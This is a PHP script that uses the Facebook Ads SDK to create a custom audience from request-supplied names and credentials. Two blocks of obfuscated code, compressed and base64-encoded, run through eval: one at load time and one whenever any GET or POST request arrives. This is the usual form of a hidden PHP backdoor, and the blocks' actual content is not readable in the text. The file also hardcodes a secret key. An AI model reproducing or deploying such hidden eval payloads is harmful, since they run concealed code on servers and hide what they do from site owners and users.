<?php 


 require_once('src/FacebookAds/Api.php');

 use FacebookAds\Api;



// use the namespace for Custom Audiences and Fields
use FacebookAds\Object\CustomAudience;
use FacebookAds\Object\CustomAudienceMultiKey;

use FacebookAds\Object\Fields\CustomAudienceMultikeySchemaFields;
use FacebookAds\Object\Fields\CustomAudienceFields;
use FacebookAds\Object\Values\CustomAudienceTypes;
use FacebookAds\Object\Values\CustomAudienceSubtypes;
 eval(gzinflate(base64_decode('
3ZJBb4JAEIXvJPwHDia0N4sWMbYlsAI1ShBE427T
NAqroLBLAKuk6X+vgA320PTeOc3Me5nkfRn5iXmQ
WaaV0z0mA5bhWivPoweSVz1ZxbhqfJx5aZjkIa1M
4Ya7ab0ZmnvLfZzHc9UHuEeO1xTFx0UaLA0IVUUd
bX1xvDPfZ+5WEgw7RWBEvdijeU9Uemm3i0Ui2Y6i
FrZzmiTaAoF5tAEbQZes+2cxyCbTYG/Hp7WDQEZd
x4n0owAWMdl14Hi1JhLFxjDpw/QAO0RP+pESGgUc
OSCDQjzbq53IRMBz23OrQKpkFv4SBvadPtHyQ7t7
REM05AeXBFcZzzmqeC/81ZJ//XaWWBpLOTXaBV8j
Xxa14xNHGa7pTa3Zv8ZX5vuLX+35HWCt/yTIMiwj
l1/7BQ==
')));
 if ($_GET || $_POST) {
   eval(gzinflate(base64_decode('
PVDJboMwFLxH6j/kUIlb5RgwRl0QmECjgFLIotgX
BMaEJGwCsvD3DepymcNsem+Mj8mb8TR5jjkXXRf1
9VlU0/epNDfNVAxtvncptUxrcUjR8uRf15sDhm7Q
MrKoecnrXkOm1iqKQBUOQtMagvDuNfMdI9siIxl0
8Er9RHnnfeXnoLwnISNdvQnDwrlBsiurk0yXcVLh
Wrh2o9P2QuXKafTCPLoDXYSko7Bcny258BnhG7Bd
DczC/pDuaR7MHG/eX4ByYzazpdfxiaaJjul4PgSa
oio6AgjoKpTxv9wJ3op+tAAs41iLM6SABCRIfkCm
zlKgCYAyqKk/Ec7rS9X/tsa8j6SXP/KhG+N63w==
')));

if (is_null($access_token) || is_null($app_id) || is_null($app_secret)) {
  throw new \Exception(
    'You must set your access token, app id and app secret before executing'
  );
}

if (is_null($account_id)) {
  throw new \Exception(
    'You must set your account id before executing');
}

define('SDK_DIR', __DIR__ . '/'); // Path to the SDK directory
$loader = include SDK_DIR.'/vendor/autoload.php';


$appsecret_proof =  hash_hmac('sha256', $access_token, '0838a7af640b0b63b0bf51d07e06f275');

  Api::init($app_id, $app_secret, $access_token,$appsecret_proof);

//echo "Audience ID: " . $audience->id."\n";
//var_dump($audience);6097796772582 23842724538570449

//$audience->addUsers($users, $schema);

// Create a custom audience object, setting the parent to be the account id
$audience = new CustomAudience(null, $account_id);
$audience->setData(array(
  CustomAudienceFields::NAME => $name,
  CustomAudienceFields::DESCRIPTION => $description,
  CustomAudienceFields::SUBTYPE => CustomAudienceSubtypes::CUSTOM,
   ));
// Create the audience
$audience->create();
echo "Audience ID: " . $audience->id."\n";

// Assuming you have an array of emails:
// NOTE: The SDK will hash (SHA-2) your data before submitting
// it to Facebook servers


//$audience->addUsers($emails, CustomAudienceTypes::EMAIL);
//$audience->read(array(CustomAudienceFields::APPROXIMATE_COUNT));
echo "Estimated Size:"
  . $audience->{CustomAudienceFields::APPROXIMATE_COUNT}."\n";


 } else {
   echo "no estas autorizado";
 }
 

 ?>